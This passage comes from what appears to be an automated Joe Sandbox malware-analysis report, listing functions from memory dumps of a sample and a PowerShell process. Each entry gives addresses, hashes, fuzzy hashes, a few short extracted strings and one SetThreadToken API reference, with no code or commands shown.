Uniqueness Score: -1.00%

Function 02B8E00C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1816395187.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_jqOHOuPMJP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e92215fb13a8f841e86721af86f4a8e7a22345e3c8ccbcfc5c6a19d1974df465
Instruction ID: 4ad2fac9b40574563483030b0d068ebeae3f6f77bf82cf9e57f92926dab10163
Opcode Fuzzy Hash: e92215fb13a8f841e86721af86f4a8e7a22345e3c8ccbcfc5c6a19d1974df465
Instruction Fuzzy Hash: 40A15D32E00219CFCF15EFB4C8805AEBBB2FF85304B5545AAE909AB265DB31E955CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06250006 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99d1908d430076de95981dea8079c87fda677737f9faeafb85acd84d428d9baf
Instruction ID: 036154ce6e338975671e7bccd856cc899c2e195141ff11950b0adac5d5857e85
Opcode Fuzzy Hash: 99d1908d430076de95981dea8079c87fda677737f9faeafb85acd84d428d9baf
Instruction Fuzzy Hash: E5C129B0C80745CBDB21CF24E85858D7BB1BB8539CF958B09D2616F2E1DBB814AACF44

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 1516, Parent PID: 6780COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 04F5B471 Relevance: .3, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fe319d2fcf327e49e18bc7f052a5162122622a2a1672491e39b0aa3b18540eb
Instruction ID: e3ff4759f5c257da257d0e2583039f9170501abaf85c0836fd77042cb581eab2
Opcode Fuzzy Hash: 6fe319d2fcf327e49e18bc7f052a5162122622a2a1672491e39b0aa3b18540eb
Instruction Fuzzy Hash: 74914271A006159FEF1AEFA4C4145AEB7E2EFC4604B018A1DD50AAB350DF74AD0B8BD6

Uniqueness

Uniqueness Score: -1.00%

Function 04F5B490 Relevance: .3, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe54a332e5aec54a49425568145a96d1868c6fa40d6bb1c5d499976b031329ae
Instruction ID: 2107ff7322a2bef6974153b566d8a34878b093a45099f0f709beee8e9b4a216b
Opcode Fuzzy Hash: fe54a332e5aec54a49425568145a96d1868c6fa40d6bb1c5d499976b031329ae
Instruction Fuzzy Hash: 99915171B006159BEF1AEFA484145AFB7E2EFC4604B018A1DD50AAB350DF74AD0B8BD6

Uniqueness

Uniqueness Score: -1.00%

Function 07902308 Relevance: 13.2, Strings: 10, Instructions: 654COMMON

Download Yara Rule

Strings

JJl, xrefs: 0790259E
4'^q, xrefs: 07902619
JJl, xrefs: 079025F6
4'^q, xrefs: 0790260D
rIl, xrefs: 0790254F
JJl, xrefs: 079023D1
JJl, xrefs: 079025EA
rIl, xrefs: 07902559
JJl, xrefs: 0790237F
JJl, xrefs: 079023C5

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$JJl$JJl$JJl$JJl$JJl$JJl$rIl$rIl
API String ID: 0-2055014725
Opcode ID: 000d2042e7d3015d3e718eaf2c47e32bd2b4f3c12e29a706e3a1179e940a89c0
Instruction ID: a8ba998d3edde4ac25c15d0a914c625ac891e10a7bd8f6901f631f76f98b87de
Opcode Fuzzy Hash: 000d2042e7d3015d3e718eaf2c47e32bd2b4f3c12e29a706e3a1179e940a89c0
Instruction Fuzzy Hash: 32224BB5B20206CFCB15CF688408AAABBE9BF89318F14847AD915CB3D5DB31D945C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 07903CE8 Relevance: 5.6, Strings: 4, Instructions: 590
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 0790418A
4'^q, xrefs: 07904026
4'^q, xrefs: 07904180
4'^q, xrefs: 07904030

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q
API String ID: 0-1420252700
Opcode ID: 6fb78a6bcdc3ebcdb98e2a7c448ab2dc49f06c7e94624bfbcee283463035d4a6
Instruction ID: 52377fae559fee6a42c8099bfcae4a34058f03c2416f93fabc89079ab888a19a
Opcode Fuzzy Hash: 6fb78a6bcdc3ebcdb98e2a7c448ab2dc49f06c7e94624bfbcee283463035d4a6
Instruction Fuzzy Hash: 921258B17202558FCB158B788811A6ABFBAAFD6358F14847AD605CF2A1DB31CC45C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 079017B8 Relevance: 2.8, Strings: 2, Instructions: 339
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

?l, xrefs: 0790192C
?l, xrefs: 0790193A

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID: ?l$?l
API String ID: 0-322553749
Opcode ID: 56a64b591692239a1a51107bb1ed8b4392efec419198a133f763b55ba3d4da71
Instruction ID: 4cefd05671d8f3c28184810480d882f491283b5288932a29878c069b08da9748
Opcode Fuzzy Hash: 56a64b591692239a1a51107bb1ed8b4392efec419198a133f763b55ba3d4da71
Instruction Fuzzy Hash: C8B187B1B9020DCFCB148B69D400AAEBBEAAFC5314F14C47AD415CB295DB31D941C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 08806421 Relevance: 1.5, APIs: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE(EFD80869), ref: 0880648A

Memory Dump Source

Source File: 00000001.00000002.1720262827.0000000008800000.00000040.00000800.00020000.00000000.sdmp, Offset: 08800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8800000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 13c3a8d48ab4ebd910f29dc04a831723d604c1dabf0f919a8de30e97255eacc6
Instruction ID: 397f6ff6654608e07f45acb5fb18f0467eebd7b1d20be02b89f9e17a420d752f
Opcode Fuzzy Hash: 13c3a8d48ab4ebd910f29dc04a831723d604c1dabf0f919a8de30e97255eacc6
Instruction Fuzzy Hash: 021125B59002488FCB50DF9AC984BDEFBF4EB88324F14841AE059A7350D774A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 08806428 Relevance: 1.5, APIs: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE(EFD80869), ref: 0880648A

Memory Dump Source

Source File: 00000001.00000002.1720262827.0000000008800000.00000040.00000800.00020000.00000000.sdmp, Offset: 08800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8800000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 73fc8bcabf8ea9b5d712bed68136f907932752430605dc057bdac06007879e29
Instruction ID: 8b6c5d17f1d710117975d42ad7b6debcb95944fd348915b08eb8fa0ca2bdc3d1
Opcode Fuzzy Hash: 73fc8bcabf8ea9b5d712bed68136f907932752430605dc057bdac06007879e29
Instruction Fuzzy Hash: 721122B59003088FCB10DF9AC984B9EFBF8EB48324F24842AD458A7250D774A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04F5E5B9 Relevance: 1.4, Strings: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

JJl, xrefs: 04F5E6EA

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID: JJl
API String ID: 0-415269788
Opcode ID: 3eafe928bc4f8a6f1d6bd1624c6178b08f9aebbf7fa82191847ab4e624003a78
Instruction ID: 3b703dc5ac4aeed68e31175662db287e12a5bf2b0cd4db44ac0975bed5e3be1a
Opcode Fuzzy Hash: 3eafe928bc4f8a6f1d6bd1624c6178b08f9aebbf7fa82191847ab4e624003a78
Instruction Fuzzy Hash: F9413B30A00209DFCB14EF69D694A9DBBF1FF49304F118569D41AAB3A4DB34AD46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04F56FE0 Relevance: 1.4, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 04F57105

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 4e2d3d36e1596aecb09033f446cacf6f58ac8a7333373e256a6b689c5a3001ea
Instruction ID: 1277574948a3c45eb8051c9ebe32d6a1a1108f9e263c605f21332e3a21f729bc
Opcode Fuzzy Hash: 4e2d3d36e1596aecb09033f446cacf6f58ac8a7333373e256a6b689c5a3001ea
Instruction Fuzzy Hash: 09411D34B041058FDB14DF69C458AAEBBF2EF8D311F1540A9E946AB3A5DB35EC02CB60

Uniqueness

Uniqueness Score: -1.00%

Function 04F5E640 Relevance: 1.3, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

JJl, xrefs: 04F5E6EA

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID: JJl
API String ID: 0-415269788
Opcode ID: 883569e97512899d0c9f6f6d378c27c34da45c13ea994c23117bb7cb03516505
Instruction ID: 22787475fdf151e0c074d00f8f6df57ef7f63d1502c4a2bb25515a6c20fa3de5
Opcode Fuzzy Hash: 883569e97512899d0c9f6f6d378c27c34da45c13ea994c23117bb7cb03516505
Instruction Fuzzy Hash: 37311934A00615DFCB14DF79D594A9EBBF2FF58344F108528D41AA7394DB34AD46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04F5AF98 Relevance: 1.3, Strings: 1, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(&^q, xrefs: 04F5AFBA

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID: (&^q
API String ID: 0-2067289071
Opcode ID: a32da7e60a7199d626bd17966822649b1f1ff61bfe1fdfd04a208c8425b94a48
Instruction ID: 78775499214d0956ffe368a51f07a0228cea4078149ca696b13b6c4932d75961
Opcode Fuzzy Hash: a32da7e60a7199d626bd17966822649b1f1ff61bfe1fdfd04a208c8425b94a48
Instruction Fuzzy Hash: EF21A171E042588FCB14DFAED404A9EBBF5EB88320F14846AD518A7350CA75A805CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04F529F0 Relevance: .2, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44b7c64984a049d236d512cffe823e01cef448c6b00ed3e9f4911007824540dc
Instruction ID: e8a173e47d0b941f4bc50cd079104da2c0bb3c319f49f8588e083b44063d8a53
Opcode Fuzzy Hash: 44b7c64984a049d236d512cffe823e01cef448c6b00ed3e9f4911007824540dc
Instruction Fuzzy Hash: D7919A74A002499FCB15CF58C4D89AEBBB1FF49310B258699D915AB3A5C735FC42CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 04F57740 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f952265d9bba3c468b60c4a313671c77d98ea156445d9e3bd0323a62bc115814
Instruction ID: ffcfb996027241ed92bef1a2d9c17152a9f6b2c2384f4370ca0319f74fd88ddc
Opcode Fuzzy Hash: f952265d9bba3c468b60c4a313671c77d98ea156445d9e3bd0323a62bc115814
Instruction Fuzzy Hash: 7751C4317042059FD704EB79D844A2ABBEAEFC9215F2585A9DA05CB365EB31EC02C750

Uniqueness

Uniqueness Score: -1.00%

Function 04F5BAB0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21fc97d691039f2b284af3e0be9df6850315cb68555a1f924d9a16f030e6cde9
Instruction ID: 2bbbedfd0801c3cbe3d9856cf11454e5fe596e6c49cdfecf3369160ba1bd89cd
Opcode Fuzzy Hash: 21fc97d691039f2b284af3e0be9df6850315cb68555a1f924d9a16f030e6cde9
Instruction Fuzzy Hash: DC612871E00248DFCB14DFA9D58868DFBF1EF88310F15816AE919AB365EB34A846CB54

Uniqueness

Uniqueness Score: -1.00%

Function 04F5BAC0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e63b1d1eadaed22c45cd2a23b37fb2e5d4434fce0ae61087ea40cc3e2f55367
Instruction ID: ac7c51a7ed0e4e08594d61e541e124097daf2ef1439e8415150d2af9f64f202c
Opcode Fuzzy Hash: 8e63b1d1eadaed22c45cd2a23b37fb2e5d4434fce0ae61087ea40cc3e2f55367
Instruction Fuzzy Hash: DE614971E00208DFDB14DFA9C58869DFBF1EF88310F15812AE919AB364EB34AC42CB54

Uniqueness

Uniqueness Score: -1.00%

Function 04F5E419 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65bce07813e7e696abf2d929b3c330b13563ba5a46101ab4955e58eb68805
Instruction ID: 9d3ca587b4f74d66b93e3393c50d07676340c78ae2c5a071ca2ceccb4436bb1f
Opcode Fuzzy Hash: fbc65bce07813e7e696abf2d929b3c330b13563ba5a46101ab4955e58eb68805
Instruction Fuzzy Hash: FD512034B402058FCF14EF6CC59496ABBE6EF88314B158569E949CF365EB74ED018B90

Uniqueness

Uniqueness Score: -1.00%

Function 04F56FB0 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 810f36fbdf4119b0a24bfef7baa92f64f574cba4ce794db2545d4140a487f7d6
Instruction ID: 75b008c70ebd15f415337122468fceb0461fd294e100f95ed533def58b61344e
Opcode Fuzzy Hash: 810f36fbdf4119b0a24bfef7baa92f64f574cba4ce794db2545d4140a487f7d6
Instruction Fuzzy Hash: 1841A134B082818FDB06DB64C954AA97FF1AF8A304F1940D9D955EB3B2DB25EC03CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04F5E428 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c340cb1c8a06692279fc246e90e14a140923ddc871c9ba964d824754ea5edcf4
Instruction ID: 2d69d1ca1455ccb6514464fa31c4739bbe6be633372b4b48ce44872fd6d8d053
Opcode Fuzzy Hash: c340cb1c8a06692279fc246e90e14a140923ddc871c9ba964d824754ea5edcf4
Instruction Fuzzy Hash: 9E413B74B402058FCB10DF6CC69492ABBE6EFC8314B158569E949DB365EB34ED028B90

Uniqueness

Uniqueness Score: -1.00%

Function 07903CCC Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89785593340efa73fc71cbdefe7a61d993dc8cca9f647f8d283f7d4b1cc2c847
Instruction ID: f8faf8ff7107c4d5e6ff5c9eed61d059b80b20690b2f2d1819ba6624e4b48efe
Opcode Fuzzy Hash: 89785593340efa73fc71cbdefe7a61d993dc8cca9f647f8d283f7d4b1cc2c847
Instruction Fuzzy Hash: 0341F3F1A20212CFCB259F28C501E6BBBA7AF85258F1885AED9009F2D2D735DD44C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 04F5C388 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3677b3687b67e4ec5be0eba79fd0fe5bb4d8c6625d0cf08dc3ec34c49307e8af
Instruction ID: 9b3c37d0c0dcbf8d265f72c2e4e3f69121d2b8ecf81f11a7da74373412b1ba12
Opcode Fuzzy Hash: 3677b3687b67e4ec5be0eba79fd0fe5bb4d8c6625d0cf08dc3ec34c49307e8af
Instruction Fuzzy Hash: 5631AE313002009FDB05EB78E844B9AB7A2EFC4215F018239D60ECB365DF70A84ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F5AE60 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f5f50a3bbad5ce2a4d5d77de6594772f5567dfc06194c73f7f0be89e2273784
Instruction ID: 3801c64d1aeb29a34cb2f63380f4534d8024d9c24a4f7dc25bdff092f87ae794
Opcode Fuzzy Hash: 8f5f50a3bbad5ce2a4d5d77de6594772f5567dfc06194c73f7f0be89e2273784
Instruction Fuzzy Hash: B5316470E00209DFDB04DFA9C5947AE7BF6EF89310F158169E909EB364EB349C428B50

Uniqueness

Uniqueness Score: -1.00%

Function 04F5AE70 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39694926363a11821bd55efb381da7ec0469aaef0b3736de2d623bc02f286791
Instruction ID: 720d9c50992aba97709afbe62b2895e3e7ddc30c5670446d201ae2a2a0f3a022
Opcode Fuzzy Hash: 39694926363a11821bd55efb381da7ec0469aaef0b3736de2d623bc02f286791
Instruction Fuzzy Hash: B4315070E00209DFDB04DFA9D5947AEBBF6EF89310F158169E905EB364EB349C428B61

Uniqueness

Uniqueness Score: -1.00%

Function 04F5AD28 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d714f5f73cc210842f2ba511c3a30ceb45be5d82e9e8ad22f64ed287cc64bb90
Instruction ID: a484d49ea9b649e32a814efdc9bb74ea1456863827c5f89c4bf4b096371ae5eb
Opcode Fuzzy Hash: d714f5f73cc210842f2ba511c3a30ceb45be5d82e9e8ad22f64ed287cc64bb90
Instruction Fuzzy Hash: C631B7B4E002059FEB04DFB4D954ABEB7B2EF84304F1284A9CA15AF395DA35AD42CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04F5E049 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d00db0fb1944412cfc4c480ada3aede7fa9e347d39c041f726b351cabf333a9
Instruction ID: 1beb544357122aef34f2abf75a23a323abd6e3d4766fcf40006e1ab45159febb
Opcode Fuzzy Hash: 4d00db0fb1944412cfc4c480ada3aede7fa9e347d39c041f726b351cabf333a9
Instruction Fuzzy Hash: 63316B70B002048FDB14EF68D458A9DBBF2EF98314F154569D806EB3A1DF30AC86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04F5E058 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0d5979f28b9b461bff9ce6a4a2a89d06babd58a66046b17680de5ee0215a05a
Instruction ID: 4115f84908da93b1bfd7712906572300b4fd5851b12ca5064304f3ff809e8130
Opcode Fuzzy Hash: b0d5979f28b9b461bff9ce6a4a2a89d06babd58a66046b17680de5ee0215a05a
Instruction Fuzzy Hash: 24316B71B002048FDB14DF69D458A9EBBF2EF98314F144529D906EB3A0DF35AC46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04F5AD38 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3838db68a2e763760e8666c59b8d6320624c8bdf850b6f6382272a2a24ec484f
Instruction ID: c172223f79def0680a02ec0ef99913958eb425caec7c6b0b16ee8b798315164d
Opcode Fuzzy Hash: 3838db68a2e763760e8666c59b8d6320624c8bdf850b6f6382272a2a24ec484f
Instruction Fuzzy Hash: 563175B4E001099FEB04EFA4D554BBEB7B2EF84304F118469CA15AB394DA35AD428F90

Uniqueness

Uniqueness Score: -1.00%

Function 04A6F3D8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1711694651.0000000004A6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4a6d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c61bfd802bc96a61c7d36676d14a2ce2cee18934edfe8a2894234248cc85914
Instruction ID: d73659a21ccb62a261dba963f2ac368f24e2407a63b3a274687df5aeab635d7b
Opcode Fuzzy Hash: 1c61bfd802bc96a61c7d36676d14a2ce2cee18934edfe8a2894234248cc85914
Instruction Fuzzy Hash: C321F475604200EFCB05DF14E9C8B26BF75FB88314F24C5A9ED0A4A656C736E456CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07902700 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1718058242.0000000007900000.00000040.00000800.00020000.00000000.sdmp, Offset: 07900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7900000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d206ed47df0a4bae0edb04c0239c0b830734f4a1a091dabf42c601450fa013e4
Instruction ID: 816f61f702d5e717e5ed29707d160924d87457be5603c65e98ec4368b6c794b2
Opcode Fuzzy Hash: d206ed47df0a4bae0edb04c0239c0b830734f4a1a091dabf42c601450fa013e4
Instruction Fuzzy Hash: 7E219FB5A20206DFDB20CF59C54CB69B7E9BB45319F14806AD908DB390C774E984CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 04F593F0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a167c3144a7808347fb5e7d71d11652a46a6a191eb0b3c27ad50ca3e2f9edb2a
Instruction ID: 6b86bcf7274e159a72b208f78a2cf1b4c0d38ed0542d9ec7e9275b766b5ef5b3
Opcode Fuzzy Hash: a167c3144a7808347fb5e7d71d11652a46a6a191eb0b3c27ad50ca3e2f9edb2a
Instruction Fuzzy Hash: C5319CB1901344CFDB64CF6AC08878AFFE6EB89310F28C05EC94D9B225C6B46482CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04A6F02C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1711694651.0000000004A6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4a6d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05f589e646923b2ed5836fd4946400e320c12d5025016c244e7d0248016edb07
Instruction ID: be50e67c8d954ff86ce4768fdf1a1b69d1a49f47da74109642db54346ee8a8d1
Opcode Fuzzy Hash: 05f589e646923b2ed5836fd4946400e320c12d5025016c244e7d0248016edb07
Instruction Fuzzy Hash: 35214671604200DFEB10DF24E9C0B26BFA5FB88314F20C56DEA0A4B256E33AE446CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04F59400 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1712084470.0000000004F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14b913e2431516066862c0cea316968c5849d1622d9a1532214faa29368f871b
Instruction ID: c73bf4b0f3ebbd8bf25189e44e06e9878e413a3b5c72ce8edb4f437ee2af8efd
Opcode Fuzzy Hash: 14b913e2431516066862c0cea316968c5849d1622d9a1532214faa29368f871b
Instruction Fuzzy Hash: 6E2159B1E01744CEDB64CF6AC48878AFBF6EB89310F28C41AD94D97255D6B468828B61

Uniqueness

Uniqueness Score: -1.00%

Function 04F5767C Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

